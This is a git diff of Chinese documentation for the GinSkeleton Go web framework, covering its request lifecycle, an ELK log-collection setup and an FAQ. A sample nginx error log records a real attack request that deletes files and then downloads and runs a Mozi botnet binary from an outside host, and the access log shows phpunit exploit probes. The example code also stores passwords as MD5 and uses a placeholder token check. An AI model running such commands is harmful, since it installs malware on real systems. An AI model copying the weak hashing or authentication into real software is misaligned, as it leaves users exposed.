1.框架启动, 初始化全局变量等相关的代码段 +> 代码位置 `bootstrap/init.go`:[进入详情](../bootstrap/init.go) +```go + // 这里主要介绍 init 函数的主要功能,详细的实现请点击上面的 进入详情 查看代码部分 + func init() { + // 1.初始化 项目根路径 + // 2.检查配置文件以及日志目录等非编译性的必要条件 + // 3.初始化表单参数验证器,注册在容器 + // 4.启动针对配置文件(confgi.yml、gorm_v2.yml)变化的监听 + // 5.初始化全局日志句柄,并载入日志钩子处理函数 + // 6.根据配置初始化 gorm mysql 全局 *gorm.Db + // 7.雪花算法全局变量 + // 8.websocket Hub中心启动 + } + +``` + +### 2.一个 request 到 response 的生命周期 + +##### 2.1 介绍路由之前首先简要介绍一下表单参数验证器 ,因为是路由“必经之地”。位置:app\http\validator\(web|api)\xxx业务模块 +```code + //1.首先编写参数验证器逻辑,例如:用户注册模块 + // 详情参见:app\http\validator\web\users\register.go + + //2.将以上编写好的表单参数验证器进行注册,便于程序启动时自动加载到容器,在路由定义处我们根据注册时的键,就可以直接调用相关的验证器代码段 + // 例如 我们注册该验证器的键: consts.ValidatorPrefix + "UsersRegister" ,程序启动时会自动加载到容器,获取的时候按照该键即刻获取相关的代码段 + // 详情参见:app\http\validator\common\register_validator\register_validator.go + +``` +##### 2.2.路由 ,位置:routers\web.go +```go + // 创建一个后端接口路由组 + V_Backend := routers.Group("/Admin/") + { + + // 【不需要】中间件验证的路由 用户注册、登录 + v_noAuth := V_Backend.Group("users/") + { + // 参数2说明: validatorFactory.Create(Consts.ValidatorPrefix+"UsersRegister") 该函数就是按照键直接从容器获取验证器代码 + v_noAuth.POST("register", validatorFactory.Create(Consts.ValidatorPrefix+"UsersRegister")) + } + + // 需要中间件验证的路由 + V_Backend.Use(authorization.CheckAuth()) + { + // 用户组路由 + v_users := V_Backend.Group("users/") + { + // 查询 ,这里的验证器直接从容器获取,是因为程序启动时,将验证器注册在了容器,具体代码位置:app\http\validator\Users\xxx + // 第二个参数本质上返回的就是 gin 的回调函数形式: fun(c *gin.Context){ ....省略代码 } + v_users.GET("index", validatorFactory.Create(Consts.ValidatorPrefix+"UsersShow")) + } + } + } +``` +> 分析 + 1.请求到达路由,业务逻辑出现细分:不需要和需要 中间件鉴权的请求。 + 2.不需要鉴权,直接切换到表单参数验证器模块,验证参数的合法性。 + 3.需要鉴权,首先切入中间件,中间件完成验证,再将请求切换到表单参数验证器模块,验证参数的合法性。 + +##### 2.3 中间件,位置:app\http\middleware\authorization +```go + // 选取一段代码说明 + type HeaderParams struct { + authorization string `header:"authorization"` + } + + // 本质上返回的代码段就是 gin 的标准回调函数形式 : func(c *gin.Context) { ... 省略代码 } + func CheckAuth() gin.HandlerFunc { + return func(context *gin.Context) { + // 模拟验证token + V_HeaderParams := HeaderParams{} + + // 使用ShouldbindHeader 方式获取头参数 + context.ShouldBindHeader(&V_HeaderParams) + // 对头参数中的token进行验证 + if len(V_HeaderParams.authorization) >= 20 { + ... + context.Next() // OK 下一步 + }else{ + context.Abort() // 不 OK 终止已注册代码执行 + } + } + +``` + +##### 2.4 表单参数验证器,位置:app\http\validator\(web|api)\(XXX业务模块)。 +>开发完成一个表单参数验证器,必须在注册文件(app\http\validator\register_validator\register_validator.go)增加记录,待程序启动时统一自动注册到容器。 +```go +type Register struct { + Base + Pass string `form:"pass" json:"pass" binding:"required,min=6,max=20"` //必填,密码长度范围:【6,20】闭区间 + //Captcha string `form:"captcha" json:"captcha" binding:"required,len=4"` // 验证码,必填,长度为:4 + //Phone string `form:"phone" json:"phone" binding:"required,len=11"` // 验证规则:必填,长度必须=11 + //CardNo string `form:"card_no" json:"card_no" binding:"required,len=18"` //身份证号码,必填,长度=18 +} + +func (r Register) CheckParams(context *gin.Context) { + //1.先按照验证器提供的基本语法,基本可以校验90%以上的不合格参数 + if err := context.ShouldBind(&r); err != nil { + errs := gin.H{ + "tips": "UserRegister参数校验失败,参数不符合规定,user_name 长度(>=1)、pass长度[6,20]、不允许注册", + "err": err.Error(), + } + response.ErrorParam(context, errs) + return + } + //2.继续验证具有中国特色的参数,例如 身份证号码等,基本语法校验了长度18位,然后可以自行编写正则表达式等更进一步验证每一部分组成 + // r.CardNo 获取值继续校验,这里省略..... + + // 该函数主要是将结构体的成员(字段)获取的数据以 键=>值 绑定在 context 上下文,然后传递给下一步(控制器) + // 绑定的键按照 consts.ValidatorPrefix+ json 标签组成,例如用户提交的密码(pass),绑定的键:consts.ValidatorPrefix+"pass" + // 自动绑定以后的结构体字段,在控制器就可以按照相关的键直接获取值,例如: pass := context.GetString(consts.ValidatorPrefix + "pass") + extraAddBindDataContext := data_transfer.DataAddContext(r, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserRegister表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Register(extraAddBindDataContext) + } +} + +``` + +##### 2.5 控制器,位置:app\http\controller\(web|api)\(XXX业务模块) +> 尽量让控制器成为一个调度器的角色,而不是在这里处理业务 +```go +type Users struct { +} + +// 1.用户注册 +func (u *Users) Register(context *gin.Context) { + // 由于本项目骨架已经将表单验证器的字段(成员)绑定在上下文,因此可以按照 GetString()、GetInt64()、GetFloat64()等快捷获取需要的数据类型,注意:相关键名规则: 前缀+验证器结构体中的 json 标签 + // 当然也可以通过gin框架的上下文原始方法获取,例如: context.PostForm("user_name") 获取,这样获取的数据格式为文本,需要自己继续转换 + userName := context.GetString(consts.ValidatorPrefix + "user_name") + pass := context.GetString(consts.ValidatorPrefix + "pass") + userIp := context.ClientIP() + if curd.CreateUserCurdFactory().Register(userName, pass, userIp) { + response.Success(context, consts.CurdStatusOkMsg, "") + } else { + response.Fail(context, consts.CurdRegisterFailCode, consts.CurdRegisterFailMsg, "") + } +} +``` + +###### 2.5.1 Model业务层,位置:app\models\(XXX业务模块) +> 控制器调度Model业务模块 +```go + +type UsersModel struct { + Model `json:"-"` + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"pass" form:"pass"` + Phone string `json:"phone" form:"phone"` + RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status" form:"status"` + Token string `json:"token" form:"token"` + LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass, userIp string) bool { + sql := "INSERT INTO tb_users(user_name,pass,last_login_ip) SELECT ?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +``` + +###### 2.5.2 service业务层,位置:app\service\(XXX业务模块) +> 控制器调度service业务模块 +```go + +type UsersCurd struct { +} + // 预先处理密码加密,然后存储在数据库 +func (u *UsersCurd) Register(userName, pass, userIp string) bool { + pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return model.CreateUserFactory("").Register(userName, pass, userIp) +} + +``` + +##### 2.6 response响应,位置:app\utils\response\response.go +>这里我们只封装了json格式数据返回,如果需要 xml 、html、text等,请按照gin语法自行追加函数即可。 +```go + +func ReturnJson(Context *gin.Context, http_code int, data_code int, msg string, data interface{}) { + + //Context.Header("key2020","value2020") //可以根据实际情况在头部添加额外的其他信息 + + // 返回 json数据 + Context.JSON(http_code, gin.H{ + "code": data_code, + "msg": msg, + "data": data, + }) +} + +// 将json字符窜以标准json格式返回(例如,从redis读取json、格式的字符串,返回给浏览器json格式) +func ReturnJsonFromString(Context *gin.Context, http_code int, json_str string) { + Context.Header("Content-Type", "application/json; charset=utf-8") + Context.String(http_code, json_str) +} +} + +// v1.4.00 版本之后我们封装了其他一些语法糖函数,进一步精简代码 +// 语法糖函数封装 + +// 直接返回成功 +func Success(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusOK, consts.CurdStatusOkCode, msg, data) +} + +// 失败的业务逻辑 +func Fail(c *gin.Context, dataCode int, msg string, data interface{}) { + ReturnJson(c, http.StatusBadRequest, dataCode, msg, data) + c.Abort() +} + +//权限校验失败 +func ErrorTokenAuthFail(c *gin.Context) { + ReturnJson(c, http.StatusUnauthorized, http.StatusUnauthorized, my_errors.ErrorsNoAuthorization, "") + //暂停执行 + c.Abort() +} + +//参数校验错误 +func ErrorParam(c *gin.Context, wrongParam interface{}) { + ReturnJson(c, http.StatusBadRequest, consts.ValidatorParamsCheckFailCode, consts.ValidatorParamsCheckFailMsg, wrongParam) + c.Abort() +} + +// 系统执行代码错误 +func ErrorSystem(c *gin.Context, msg string, data interface{}) { + ReturnJson(c, http.StatusInternalServerError, consts.ServerOccurredErrorCode, consts.ServerOccurredErrorMsg+msg, data) + c.Abort() +} + +``` + +#### 3.信号监听独立协程,位置:app\core\destroy\destroy.go +>该协程会在框架启动时被启动,用于监听程序可能收到的退出信号 +```go +func init() { + // 用于系统信号的监听 + go func() { + c := make(chan os.Signal) + signal.Notify(c, os.Interrupt, os.Kill, syscall.SIGQUIT, syscall.SIGINT, syscall.SIGTERM) // 监听可能的退出信号 + received := <-c //接收信号管道中的值 + variable.ZapLog.Warn(consts.ProcessKilled, zap.String("信号值", received.String())) + (event_manage.CreateEventManageFactory()).FuzzyCall(variable.EventDestroyPrefix) + close(c) + os.Exit(1) + }() + +} + +``` + + ### websocket模块 + > 1.或许你觉得websocket不应该出现在主线模块,但是在go中,ws长连接的建立确实是通过http升级协议完成的, 因此这块内容我们仍然放在了主线的最后. + > 2.启动ws服务,位置:config\config.yaml,找到相关配置开关开启。 + > 3.控制器位置:app\http\controller\websocket\ws.go + > 4.事件监听、处理位置:app\service\websocket\ws.go,[查看详情](../app/service/websocket/ws.go) + > 5.关于隐式自动维护心跳抓包图,其中`Server_ping` 为服务器端向浏览器发送的`ping`格式数据包,`F12` 不可见,只有抓包可见。 + >![业务主线图](https://www.ginskeleton.com/images/pingpong.png) \ No newline at end of file diff --git a/GinSkeleton/docs/elk_log.md b/GinSkeleton/docs/elk_log.md new file mode 100644 index 0000000..7f73e32 --- /dev/null +++ b/GinSkeleton/docs/elk_log.md @@ -0,0 +1,296 @@ +### 1.项目日志的顶级解决方案(ELK) +> 1.`ELK` 全称为 `Elasticsearch`、`Logstash`、`Kibana`, 该产品近年在提供快速搜索领域异军突起,但是今天我们要介绍的是该套产品的另一杀手锏:日志统一管理、统计、分析. +> 2.`ELK` 支持分布式管理日志,您只需要搭建 `elk` 服务器,所有项目的日志(例如:`nginx` 的 `access` 日志、`error` 日志、应用项目运行日志)都可以对接到 `elk` 服务器,由专门的人员负责数据监控,统计、分析. +> 3.`ELK` 日志推送结构图: +>![elk日志推送结构图](https://www.ginskeleton.com/images/elk_struct.png) + +### 2.三个核心角色介绍 +> **elasticsearch**: +> 倒排索引驱动的数据库,通俗地说,就是数据存储时,按照分词器提取关键词,给关键词创建索引,然后将索引和数据一起存储,最终当你查询关键词的时候,首先定位索引,然后根据索引快速获取结果,返回给用户。 +> **logstash**: +> 负责数据的采集、加工处理、输出,我们只需要设置好相关参数,按照指定时间频率,抓取日志文件,支持分布式部署,一台项目服务器需要部署一个客户端,然后将数据推送至elasticsearch存. +> **kibana**: +> 数据可视化管理面板,支持数据本身的展示(文本展示)、图形化展示、统计、分析等. + +### 3.本次我们要对接的日志清单 +> 1.nginx 的 access.log. +> 2.nginx 的 error.log. +> 3.本项目骨架 的 goskeleton.log ,该日志是项目运行日志,按照行业标准提供了 info 、 warn 、error 、fatal 等不同级别日志. +> 提醒:本项目骨架版本 >= v1.3.00, 则 `storage/logs/goskeleton.log` 格式已经默认设置ok(json格式,记录的时间字段已经调整为 created_at),否则,请您升级版本至最新版,或者自行修改配置文件 config/config.yml 中的日志部分, + 修改日志格式为 json,此外还需要调整一个地方: + 参见最新版本代码 app/utils/zap_factory/zap_factory.go ,47行,重新定义日志记录的时间字段:encoderConfig.TimeKey = "created_at" + +### 4.进入对接环节 +> 1.后续所有方案基于docker. +> 2.考虑到有部分人员可能没有安装 elk 黄金套餐,我们简要地介绍一下安装步骤,如果已经安装,那么相关参数请自行配置. +> 3.特别提醒:本次我们是基于 elk 最新版本(v7.9.1),距离我写本文档的时间(2020-09-21)发布仅仅16天, 和之前的版本细节差异都比较大, 和网上已有的资料差距也很大(很有可能v7.9.1的全套对接、配置我们都是全网首发), 如果您不是很熟悉该套产品,那么请按照本文档 100% 操作,否则有很多"惊喜". + +#### 4.1 nginx 修改日志格式 +> 4.1.1 例如我的nginx配置文件路径:`/usr/local/nginx/conf/nginx.conf` +```code +#以下代码段需要放置在http段 + http { + include mime.types; + default_type application/octet-stream; + + #默认的日志格式 + #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + # '$status $body_bytes_sent "$http_referer" ' + # '"$http_user_agent" "$http_x_forwarded_for"'; + #access_log logs/access.log main; + + # 将日志格式修改为 json 格式,方便对接到 elk ,修改日志格式对 nginx 没有任何影响,只会使日志阅读更加人性化 + log_format json '{"created_at":"$time_iso8601",' + '"url":"$uri",' + '"args":"$args",' + '"remote_addr":"$remote_addr",' + '"method":"$request_method",' + '"request":"$request",' + '"status":"$status",' + '"size":$body_bytes_sent,' + '"referer": "$http_referer",' + '"http_host":"$http_host",' + '"response_time":$request_time,' + '"http_x_forwarded_for":"$http_x_forwarded_for",' + '"user_agent": "$http_user_agent"' + '}'; + + # 设置日志存储路径,一个项目一个文件 + access_log /usr/local/nginx/logs/nginx001_access.log json; + error_log /usr/local/nginx/logs/nginx001_error.log; + + #省略其他nginx配置 + + } + +#重启 nginx 容器,或者重新加载配置文件,检查access日志格式为json格式,错误日志保持 nginx 默认格式即可 + +``` +> 4.1.2 最终的日志格式效果, 总之原则就是access日志必须是json格式,error 格式保持默认即可. +```code +# nginx001_access.log 日志 +{"created_at":"2020-09-21T03:57:35+08:00","time_local":"21/Sep/2020:03:57:35 +0800","remote_addr":"45.146.164.186","method":"GET","request":"GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","status":"404","size":555,"referer": "-","http_host":"49.232.145.118:80","response_time":0.274,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"} +{"created_at":"2020-09-21T04:02:19+08:00","time_local":"21/Sep/2020:04:02:19 +0800","remote_addr":"45.146.164.186","method":"POST","request":"POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1","status":"404","size":555,"referer": "-","http_host":"49.232.145.118:80","response_time":0.273,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"} +{"created_at":"2020-09-21T04:04:22+08:00","time_local":"21/Sep/2020:04:04:22 +0800","remote_addr":"78.188.205.21","method":"GET","request":"GET / HTTP/1.1","status":"200","size":199,"referer": "-","http_host":"49.232.145.118:80","response_time":0.000,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"} +{"created_at":"2020-09-21T04:58:00+08:00","time_local":"21/Sep/2020:04:58:00 +0800","remote_addr":"192.241.221.22","method":"GET","request":"GET / HTTP/1.1","status":"200","size":199,"referer": "-","http_host":"49.232.145.118","response_time":0.000,"http_x_forwarded_for":"-","user_agent": "Mozilla/5.0 zgrab/0.x"} + +# nginx001_error.log 日志 +2020/09/21 00:57:00 [error] 6#0: *26 open() "/usr/local/nginx/html/elrekt.php" failed (2: No such file or directory), client: 106.52.153.48, server: localhost, request: "GET /elrekt.php HTTP/1.1", host: "49.232.145.118" +2020/09/21 00:57:00 [error] 6#0: *27 open() "/usr/local/nginx/html/index.php" failed (2: No such file or directory), client: 106.52.153.48, server: localhost, request: "GET /index.php HTTP/1.1", host: "49.232.145.118" +2020/09/21 01:50:50 [error] 6#0: *30 open() "/usr/local/nginx/html/shell" failed (2: No such file or directory), client: 123.96.229.15, server: localhost, request: "GET /shell?cd+/tmp;rm+-rf+*;wget+http://123.96.229.15:35278/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1", host: "49.232.145.118:80" +# 可能还有其他的错误格式 +2018/07/09 16:50:34 [error] 78175#0: *21132 FastCGI sent in stderr: "PHP message: PHP Warning: Unknown: open_basedir restriction in effect. File(/usr/local/jenkins_manage_project/2018/bestbox_first/public/index.php) is not within the allowed path(s): (/home/wwwroot/:/tmp/:/proc/) in Unknown on line 0 +PHP message: PHP Warning: Unknown: failed to open stream: Operation not permitted in Unknown on line 0 +Unable to open primary script: /usr/local/jenkins_manage_project/2018/bestbox_first/public/index.php (Operation not permitted)" while reading response header from upstream, client: 192.168.6.85, server: 192.168.8.62, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/tmp/php-cgi.sock:", host: "192.168.8.62" + +``` + +#### 4.2 elasticsearch 安装 +```code +docker pull elasticsearch:7.9.1 +docker run --name elastic7 -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" -d elasticsearch:7.9.1 + +#修改容器时间为北京时间,fea8df018c15 为刚启动的容器ID, 请自行替换 +docker cp /usr/share/zoneinfo/Asia/Shanghai fea8df018c15:/etc/localtime + +#进入容器修改内存, 如果您的服务器内存超过 8g, 请忽略 +docker exec -it elasticsearch7 /bin/bash +# 文件位置: /usr/share/elasticsearch/config/jvm.options,默认配置为1g,修改如下: + -Xms512m + -Xmx512m + +#重启容器 +docker restart elasticsearch7 + +``` +#### 4.3 kibana 安装 +```code +docker pull kibana:7.9.1 +docker run --name kibana7 --link elastic7:elasticsearch -p 5601:5601 -d kibana:7.9.1 +. +#修改容器时间为北京时间,ffe8df018624 为刚启动的容器ID, 请自行替换 +docker cp /usr/share/zoneinfo/Asia/Shanghai ffe8df018624:/etc/localtime + +#进入容器修改内存, kibana设置 +docker exec -it kibana7 /bin/bash + +vi /usr/share/kibana/config/kibana.yml +#修改参数如下,没有的选项复制添加即可 +i18n.locale: "zh-CN" +xpack.spaces.enabled: false +# Default Kibana configuration for docker target +server.name: kibana +server.host: "0" +elasticsearch.hosts: [ "http://elasticsearch:9200" ] +monitoring.ui.container.elasticsearch.enabled: true + +#重启容器 +docker restart kibana7 + +``` + +#### 4.4 logstash 安装 +> 4.4.1 由于logstash 需要修改、配置的地方特别多,而且本次的难度基本都集中的这块儿,因此,配置文件等需要频繁修改的变动的我们映射出来. +```code +docker pull logstash:7.9.1 +# goskeleton 请确保版本 >= v1.3.00 版本,默认配置项开启了日志 json 格式,如果老日志不是json,请自行重命名备份原始文件,新日志确保 100% json格式。 +# 以下涉及到的参数需要您根据您的实际情况修改 +# 启动 logstash 容器,注意这里有两个映射目录,第一个是配置文件目录,第二个是 nginx 日志目录(包括 access、error 日志),第三个是 goskeleton.log 映射 +docker container run --name logstash7 -d -v /home/mysoft/logstash/conf/:/usr/share/logstash/pipeline/ -v /home/wwwlogs/project_log/:/usr/share/data/project_log/nginx/ -v /home/wwwroot/project2020/goskeleton/storage/logs/:/usr/share/data/project_log/goskeleton/ logstash:7.9.1 + +#修改容器时间为北京时间,ffe8df018624 为刚启动的容器ID, 请自行替换 +docker cp /usr/share/zoneinfo/Asia/Shanghai ffe8df018624:/etc/localtime + +#进入容器修改一些内存参数, 如果您的服务器内存超过 8g, 请忽略 +docker exec -it logstash7 /bin/bash +#文件位置:/usr/share/logstash/config/jvm.options,默认配置为1g,修改如下: + -Xms512m + -Xmx512m + +#修改x-pack设置项,该插件负责客户端登录服务器的认证 +#文件位置:/usr/share/logstash/config/logstash.yml ,修改如下 +http.host: "0.0.0.0" +xpack.monitoring.enabled: true #启动x-pack插件,172.21.0.13 为 elk 服务器的ip,请自行替换 +xpack.monitoring.elasticsearch.hosts: [ "http://172.21.0.13:9200" ] + +#退出容器,重启logstash +docker restart logstash + +``` +> 4.4.2 接下来我们继续修改数据采集配置项,主要是实现采集 nginx 的 access、error 日志, goskeleton 项目的运行日志到 elk 服务器 . +> logstash配置文件我们已经映射出来了,相关位置: `/home/mysoft/logstash/conf/logstash.conf` +> 以下配置必须完全按照我们提供的文档操作,否则很容易报错,全程必须是小写,不小心使用大写都有可能都会报错. +```code +#数据采集规则 +input { + # nginx 日志采集配置 + file { + type => "nginx001" #可以自行定义,方便后面判断,但是不要使用大写,否则报错 + path => "/usr/share/data/project_log/nginx/nginx001_access.log" + start_position => "beginning" # 从日志其实位置采集 + stat_interval => "3" # 采集频率为 3 秒 + # 下一行不要提前将原始数据转换为 json ,否则后面坑死你,不要相信 elk 之前版本的文档资料 + # codec => json + } + + # goskeleton 日志采集配置 + file { + type => "goskeleton" + path => "/usr/share/data/project_log/goskeleton/goskeleton.log" + start_position => "beginning" + stat_interval => "3" + # codec => json + } + + + # nginx 错误日志采集配置 + file { + type => "nginxerr" + path => "/usr/share/data/project_log/nginx/nginx001_error.log" + start_position => "beginning" + stat_interval => "3" + # plain 表示采集的数据是 文本格式,非 json + codec => plain + } + + +} + +#数据过滤规则 +filter { + # 非 nginx 的 error log,都是 json 格式,那么在这里进行 json 格式化 + if [type] != "nginxerr" { + json{ + #每一条数据就是一个消息事件(message) + source => "message" + } + } + + # 根据设置的类型动态设置 索引模式(index pattern ) + if [type] == "nginx001" { + + # 注意:索引模式 以 logstash- 开头,表示使用系统默认json解析模板,否则又要自己定义解析模板,此外,注意全程小写. + mutate { add_field => { "[@metadata][target_index]" => "logstash-nginx001-%{+YYYY.MM.dd}" } } + + # 建议同时开启 ip 位置转换功能,这样在 logstash 就能自动统计访问者的地理位置分布 + geoip { + source => "remote_addr" + target => "geoip" + # ip 与经纬度转换城市数据库下载地址:https://dev.maxmind.com/geoip/geoip2/downloadable/ (需要注册账号才能有下载地址) + # 数据库文件放置在logstash容器映射的日志目录,不要放在配置文件目录,会报错。 + database => "/usr/share/data/testlog/GeoLite2-City.mmdb" + } + + }else if [type] == "goskeleton" { + + mutate { add_field => { "[@metadata][target_index]" => "logstash-goskeleton-%{+YYYY.MM.dd}" } } + + }else if [type]=="nginxerr"{ + + mutate { add_field => { "[@metadata][target_index]" => "logstash-nginxerr-%{+YYYY.MM.dd}" } } + + }else { + + mutate { add_field => { "[@metadata][target_index]" => "logstash-unknowindex-%{+YYYY.MM.dd}" } } + } + + # 匹配 nginx 错误日志,将原始文本进行 json 化 + if [type]=="nginxerr" { + grok { + match => [ "message" , "(?%{YEAR}[./-]%{MONTHNUM2}[./-]%{MONTHDAY} %{TIME:time2}) \[%{WORD:errLevel}] (?([\w\W])*), client\: %{IP:clientIp}(, server\: %{IPORHOST:server})?(, request\: \"%{DATA:request}\")?(, upstream\: \"%{DATA:upstream}\")?(, host\: \"%{DATA:host}\")?" ] + } + } + + #删除一些多余字段 + mutate { + remove_field => [ "message","@version"] + } + +} + +output { + #将最终处理的结果输出到调试面板(控制台),您可以开启,先观察处理结果是否是您期待的,确保正确之后,注释掉即可 + #stdout { codec => rubydebug } + + # 官方说,这里每出现一个 elasticsearch 都是一个数据库客户端连接,建议用一个连接一次性输出多个日志内容到 elk ,像如下这样 + # 这样配置可以最大减少 elk 服务器的连接数,减小压力,因为 elk 今后将管理所有项目的日志,数据处理压力会非常大 + elasticsearch { + # 172.21.0.13 请自行替换为您的 elk 服务器地址 + hosts => ["http://172.21.0.13:9200"] + index => "%{[@metadata][target_index]}" + } +} + +#配置完毕,重启容器 +docker restart logstash + +#可以观察近3分钟的日志,确保配置正确,启动正常 +docker logs --since 3m logstash7 + +``` + +> 4.4.3 现在我们可以访问kibana地址:`http://172.21.0.13:5601` , 如果是云服务器就使用外网地址访问即可. +> 以下操作基本都是可视化界面,通过鼠标点击等操作完成,我就以截图展示一个完整的主线操作流程, 其他知识请自行查询官网或者加我们的项目群咨询讨论. +![步骤1](https://www.ginskeleton.com/images/elk001.png) +![步骤2](https://www.ginskeleton.com/images/elk002.png) +![步骤3](https://www.ginskeleton.com/images/elk003.png) +![步骤4](https://www.ginskeleton.com/images/elk004.png) + +> 特别说明:以下数据是基于测试环境, 有一些数据是直接把老项目的日志文件覆盖到指定位置,所以界面的查询日期跨度比较大. +> nginx access 的日志 +![nginx_access日志](https://www.ginskeleton.com/images/elk005.png) + +>> goskeleton 的日志 +![goskeleton的elk日志](https://www.ginskeleton.com/images/elk006.png) + +> nginx error 的日志 +![nginx_access日志](https://www.ginskeleton.com/images/elk007.png) + + +#### 5.更炫酷未来 +> 基于以上数据我们可以在 elk 做数据统计、分析,例如:可视化展示网站访问量. 哪些接口访问最多、哪些接口访问最耗时,就需要优先优化。 +> elk 能做的事情超乎你的想象(机器学习、数据关联性分析、地理位置分布分析、各种图形化等等), 请参考官方提供的可视化模板,自己做数据展示设计即可。 +> 比较遗憾的是我们做的模板无法直接分享给其他人,只能分享最终的效果,其他开发者可自行参考制作自己的展示模板. +![logstash样图](https://www.ginskeleton.com/images/logstash1.png) + + diff --git a/GinSkeleton/docs/faq.md b/GinSkeleton/docs/faq.md new file mode 100644 index 0000000..80d9ed2 --- /dev/null +++ b/GinSkeleton/docs/faq.md @@ -0,0 +1,86 @@ +## 常见问题汇总 +> 1.本篇我们将汇总使用过程中最常见的问题, 很多细小的问题或许在这里你能找到答案. + +##### 2.为什么该项目 go.mod 中的模块名是 goskeleton ,但是下载下来的文件名却是 GinSkeleton ? +> 本项目一开始我们命名为 ginskeleton , 包名也是这个,但是后来感觉 goskeleton 好听一点,因此改名(现在看是错了),由于版本已经更新较多,同时不影响使用,此次失误请忽略即可. + +##### 3.为什么编译后的文件提示 config.yml 文件不存在 ? +> 项目的编译仅限于代码部分,不包括资源部分:config 目录、public 目录、storage 目录,因此编译后的文件使用时,需要带上这个三个目录,否则程序无法正常运行. + +##### 4.表单参数验证器代码部分的疑问 +> 示例代码位置:`app/http/validator/web/users/register.go` ,如下代码段 +```code +type Register struct { + Base + Pass string `form:"pass" json:"pass" binding:"required,min=3,max=20"` //必填,密码长度范围:【3,20】闭区间 + Phone string `form:"phone" json:"phone" binding:"required,len=11"` // 验证规则:必填,长度必须=11 + //CardNo string `form:"card_no" json:"card_no" binding:"required,len=18"` //身份证号码,必填,长度=18 +} + +// 注意这里绑定在了 Register +func (r Register) CheckParams(context *gin.Context) { + // ... +} + + +``` +> CheckParams 函数是否可以绑定在指针上?例如写成如下: +```code +// 注意这里绑定在了 *Register +func (r *Register) CheckParams(context *gin.Context) { + // ... +} + +``` +> 这里绝对不可以,因为表单参数验证器在程序启动时会自动注册在容器,每次调用都必须是一个全新的初始化代码段,如果绑定在指针,第一次请求验证通过之后,相关的参数值就会绑定容器中的代码上,造成下次请求数据污染. + +##### 5.全局容器的作用是什么? +```code +本项目使用容器最多的地方: +app/http/validator/common/register_validator/register_validator.go + +根据key从容器调用:routers/web.go > validatorFactory.Create() 函数 ,就是根据注册时的键从容器获取代码. + +目的: +1.一个请求(request)到达路由以后,需要进行表单参数的校验,如果是传统的方法,就得import相关的验证器文件包,然后掉用包中的函数,进行参数验证, 这种做法会导致路由文件的头部会出现N多的import ....包, 因为你一个接口就得一个验证器。 +在这个项目骨架中,我们将验证器全部注册在容器中,路由文件头部只需要导入一个验证器的包就可以通过key调用对应的value(验证器函数)。 +你可以和别人做的项目对比一下,路由文件的头部 import 部分,看看传统方式导入了是不是N个.... + +2.因为验证器在项目启动时,率先注册在了容器(内存),因此调用速度也是超级快。性能极佳. + +``` + +##### 6.每个model都要 create 一次,难道每个 model 都是一次数据库连接吗? +```code + +关系型数据库驱动库其实是根据 config.yml中的配置初始化了一次,因此每种数据库全局只有一个连接,以后每一次都是从同一个驱动指针地址,通过ping() 从底层的连接池获取一个连接。用完也是自动释放的. +看起来每一个表要初始化一次,主要是为了解决任何一个表可以随意切换到别的数据库连接,解决数据库多源场景。 +每种数据库,在整个项目全局就一个数据库驱动初始化后的连接池:app/utils/sql_factory/client.go + +``` + +##### 7.为什么该项目强烈建议应用服务器前置nginx? +```code + +1.nginx处理静态资源,几乎是无敌的,尤其是内存占用方面的管理非常完美. +2.nginx前置很方便做负载均衡. +3.nginx 的access.log、error.log 都是行业通用,可以很方便对接到 elk ,进行后续统计、分析、机器学习、报表展示等等. +4.gin 框架本身建议生产环境切换 gin 的运行模式:gin.SetMode(gin.ReleaseMode) ,该模式无接口访问日志生成,那么你的接口访问日志就必须要搭配 nginx ,同时该模式我们经过测试对比,性能再度提升 5% + +``` + +##### 8.本项目骨架引用的包,如何更新至最新版? +> 1.本项目骨架主动引入包全部在 `go.mod` 文件,如果想自己更新至最新版,非常简单,但是必须注意:该包更新的功能兼容现有版本,如果不兼容,可能会导致封装层`app/utils/xxx` 出现错误,功能也无法正常使用. +> 2.例如:gormv2 目前在用版本是 `v1.20.5`, 官方最新版本地址:https://github.com/go-gorm/gorm/tags , 最新版 : v1.20.7 +```code + + // 1. go.mod 文件修改以下版本号至最新版 + gorm.io/gorm v1.20.5 ===> + gorm.io/gorm v1.20.7 + + // 在goland终端或者 go.mod 同目录执行以下命令即可 + go mod tidy + +``` + + \ No newline at end of file diff --git a/GinSkeleton/docs/formparams.md b/GinSkeleton/docs/formparams.md new file mode 100644 index 0000000..326fa5d --- /dev/null +++ b/GinSkeleton/docs/formparams.md @@ -0,0 +1,72 @@ +### 表单参数提交介绍 + - 1.前端提交简单的表单参数示例代码,[请参考已有的接口测试用例文档](./api_doc.md) + - 2.本篇我们将介绍复杂表单参数的提交. + +#### 什么是简单的表单参数提交 +> 1.如果接口参数都是简单的键值对,没有嵌套关系,就是简单模式. + 